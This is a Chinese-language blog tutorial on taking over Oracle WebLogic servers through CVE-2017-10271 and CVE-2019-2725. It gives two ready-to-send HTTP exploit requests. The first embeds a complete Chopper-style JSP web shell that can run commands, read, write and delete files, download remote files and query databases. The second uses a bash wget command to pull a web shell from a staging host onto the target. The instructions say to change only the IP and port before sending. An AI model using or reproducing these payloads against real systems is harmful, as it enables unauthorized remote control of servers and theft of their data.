Weblogic Getshell教程

文章介绍Weblogic CVE-2017-10271和Weblogic CVE-2019-2725漏洞Getshell教程

本着能看懂就行的原则,所以部分图片因作者懒是网上找的(会有标记),能看懂就行,一切都是为了怕忘,故写成文章记录下来。

Weblogic CVE-2017-10271

批量扫描


网图

命令执行


网图

Getshell

payload

可能会因为缩进或者换行原因导致payload出现问题可以找作者要txt文件

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 192.168.43.4:7001

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: text/xml

Content-Length: 9559

   

   

   

   

    servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp

   

   

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>

<%!

String Pwd = "chopper";

String cs = "UTF-8";

String EC(String s) throws Exception {

return new String(s.getBytes("ISO-8859-1"),cs);

}

Connection GC(String s) throws Exception {

String[] x = s.trim().split("\r\n");

Class.forName(x[0].trim());

if(x[1].indexOf("jdbc:oracle")!=-1){

return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);

}else{

Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);

if (x.length > 4) {

c.setCatalog(x[4]);

}

return c;

}

}

void AA(StringBuffer sb) throws Exception {

File r[] = File.listRoots();

for (int i = 0; i < r.length; i++) {

sb.append(r[i].toString().substring(0, 2));

}

}

void BB(String s, StringBuffer sb) throws Exception {

File oF = new File(s), l[] = oF.listFiles();

String sT, sQ, sF = "";

java.util.Date dt;

SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

for (int i = 0; i < l.length; i++) {

dt = new java.util.Date(l[i].lastModified());

sT = fm.format(dt);

sQ = l[i].canRead() ? "R" : "";

sQ += l[i].canWrite() ? " W" : "";

if (l[i].isDirectory()) {

sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");

} else {

sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";

}

}

sb.append(sF);

}

void EE(String s) throws Exception {

File f = new File(s);

if (f.isDirectory()) {

File x[] = f.listFiles();

for (int k = 0; k < x.length; k++) {

if (!x[k].delete()) {

EE(x[k].getPath());

}

}

}

f.delete();

}

void FF(String s, HttpServletResponse r) throws Exception {

int n;

byte[] b = new byte[512];

r.reset();

ServletOutputStream os = r.getOutputStream();

BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));

os.write(("->" + "|").getBytes(), 0, 3);

while ((n = is.read(b, 0, 512)) != -1) {

os.write(b, 0, n);

}

os.write(("|" + "<-").getBytes(), 0, 3);

os.close();

is.close();

}

void GG(String s, String d) throws Exception {

String h = "0123456789ABCDEF";

File f = new File(s);

f.createNewFile();

FileOutputStream os = new FileOutputStream(f);

for (int i = 0; i < d.length(); i += 2) {

os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));

}

os.close();

}

void HH(String s, String d) throws Exception {

File sf = new File(s), df = new File(d);

if (sf.isDirectory()) {

if (!df.exists()) {

df.mkdir();

}

File z[] = sf.listFiles();

for (int j = 0; j < z.length; j++) {

HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());

}

} else {

FileInputStream is = new FileInputStream(sf);

FileOutputStream os = new FileOutputStream(df);

int n;

byte[] b = new byte[512];

while ((n = is.read(b, 0, 512)) != -1) {

os.write(b, 0, n);

}

is.close();

os.close();

}

}

void II(String s, String d) throws Exception {

File sf = new File(s), df = new File(d);

sf.renameTo(df);

}

void JJ(String s) throws Exception {

File f = new File(s);

f.mkdir();

}

void KK(String s, String t) throws Exception {

File f = new File(s);

SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

java.util.Date dt = fm.parse(t);

f.setLastModified(dt.getTime());

}

void LL(String s, String d) throws Exception {

URL u = new URL(s);

int n = 0;

FileOutputStream os = new FileOutputStream(d);

HttpURLConnection h = (HttpURLConnection) u.openConnection();

InputStream is = h.getInputStream();

byte[] b = new byte[512];

while ((n = is.read(b)) != -1) {

os.write(b, 0, n);

}

os.close();

is.close();

h.disconnect();

}

void MM(InputStream is, StringBuffer sb) throws Exception {

String l;

BufferedReader br = new BufferedReader(new InputStreamReader(is));

while ((l = br.readLine()) != null) {

sb.append(l + "\r\n");

}

}

void NN(String s, StringBuffer sb) throws Exception {

Connection c = GC(s);

ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();

while (r.next()) {

sb.append(r.getString(1) + "\t");

}

r.close();

c.close();

}

void OO(String s, StringBuffer sb) throws Exception {

Connection c = GC(s);

String[] x = s.trim().split("\r\n");

ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});

while (r.next()) {

sb.append(r.getString("TABLE_NAME") + "\t");

}

r.close();

c.close();

}

void PP(String s, StringBuffer sb) throws Exception {

String[] x = s.trim().split("\r\n");

Connection c = GC(s);

Statement m = c.createStatement(1005, 1007);

ResultSet r = m.executeQuery("select * from " + x[x.length-1]);

ResultSetMetaData d = r.getMetaData();

for (int i = 1; i <= d.getColumnCount(); i++) {

sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");

}

r.close();

m.close();

c.close();

}

void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {

Connection c = GC(s);

Statement m = c.createStatement(1005, 1008);

BufferedWriter bw = null;

try {

ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);

ResultSetMetaData d = r.getMetaData();

int n = d.getColumnCount();

for (int i = 1; i <= n; i++) {

sb.append(d.getColumnName(i) + "\t|\t");

}

sb.append("\r\n");

if(q.indexOf("--f:")!=-1){

File file = new File(p);

if(q.indexOf("-to:")==-1){

file.mkdir();

}

bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));

}

while (r.next()) {

for (int i = 1; i <= n; i++) {

if(q.indexOf("--f:")!=-1){

bw.write(r.getObject(i)+""+"\t");

bw.flush();

}else{

sb.append(r.getObject(i)+"" + "\t|\t");

}

}

if(bw!=null){bw.newLine();}

sb.append("\r\n");

}

r.close();

if(bw!=null){bw.close();}

} catch (Exception e) {

sb.append("Result\t|\t\r\n");

try {

m.executeUpdate(q);

sb.append("Execute Successfully!\t|\t\r\n");

} catch (Exception ee) {

sb.append(ee.toString() + "\t|\t\r\n");

}

}

m.close();

c.close();

}

%>

<%

cs = request.getParameter("z0") != null ? request.getParameter("z0")+ "":cs;

response.setContentType("text/html");

response.setCharacterEncoding(cs);

StringBuffer sb = new StringBuffer("");

try {

String Z = EC(request.getParameter(Pwd) + "");

String z1 = EC(request.getParameter("z1") + "");

String z2 = EC(request.getParameter("z2") + "");

sb.append("->" + "|");

String s = request.getSession().getServletContext().getRealPath("/");

if (Z.equals("A")) {

sb.append(s + "\t");

if (!s.substring(0, 1).equals("/")) {

AA(sb);

}

} else if (Z.equals("B")) {

BB(z1, sb);

} else if (Z.equals("C")) {

String l = "";

BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));

while ((l = br.readLine()) != null) {

sb.append(l + "\r\n");

}

br.close();

} else if (Z.equals("D")) {

BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));

bw.write(z2);

bw.close();

sb.append("1");

} else if (Z.equals("E")) {

EE(z1);

sb.append("1");

} else if (Z.equals("F")) {

FF(z1, response);

} else if (Z.equals("G")) {

GG(z1, z2);

sb.append("1");

} else if (Z.equals("H")) {

HH(z1, z2);

sb.append("1");

} else if (Z.equals("I")) {

II(z1, z2);

sb.append("1");

} else if (Z.equals("J")) {

JJ(z1);

sb.append("1");

} else if (Z.equals("K")) {

KK(z1, z2);

sb.append("1");

} else if (Z.equals("L")) {

LL(z1, z2);

sb.append("1");

} else if (Z.equals("M")) {

String[] c = { z1.substring(2), z1.substring(0, 2), z2 };

Process p = Runtime.getRuntime().exec(c);

MM(p.getInputStream(), sb);

MM(p.getErrorStream(), sb);

} else if (Z.equals("N")) {

NN(z1, sb);

} else if (Z.equals("O")) {

OO(z1, sb);

} else if (Z.equals("P")) {

PP(z1, sb);

} else if (Z.equals("Q")) {

QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");

}

} catch (Exception e) {

sb.append("ERROR" + ":// " + e.toString());

}

sb.append("|" + "<-");

out.print(sb.toString());

%>

    ]]>

   

   

   

   

   

   

   



过程

Burp抓包后全部payload内容黏贴到请求包只改IP和端口    

上传

Shell地址

http://192.168.43.4:7001/bea_wls_internal/test.jsp

验证


蚁剑连接

Weblogic CVE-2019-2725

批量扫描


网图

命令执行

这回不命令执行了直接Getshell(网图没找到!!!)

Getshell

Payload


POST /_async/AsyncResponseService HTTP/1.1

Host: 192.168.43.4:7001

Content-Length: 880

Accept-Encoding: gzip, deflate

SOAPAction:

Accept: */*

User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

Connection: keep-alive

content-type: text/xml

 

xx

xx

/bin/bash

-c

wget http://192.168.43.4:7001/bea_wls_internal/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp



过程

这里用到远程下载木马,需要先找个可以上传txt文件的地方,一般很容易,能访问就行,如下图


跳板机

如下可见在调用webshell.txt后直接生成webshell.jsp文件,weget地址需要根据自身情况更改

wgethttp://192.168.43.4:7001/bea_wls_internal/webshell.txt-O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp

修改目标IP、端口、payload部分内容如下图


上传

Shell地址

http://192.168.43.4:7001/_async/webshell.jsp

验证


蚁剑连接

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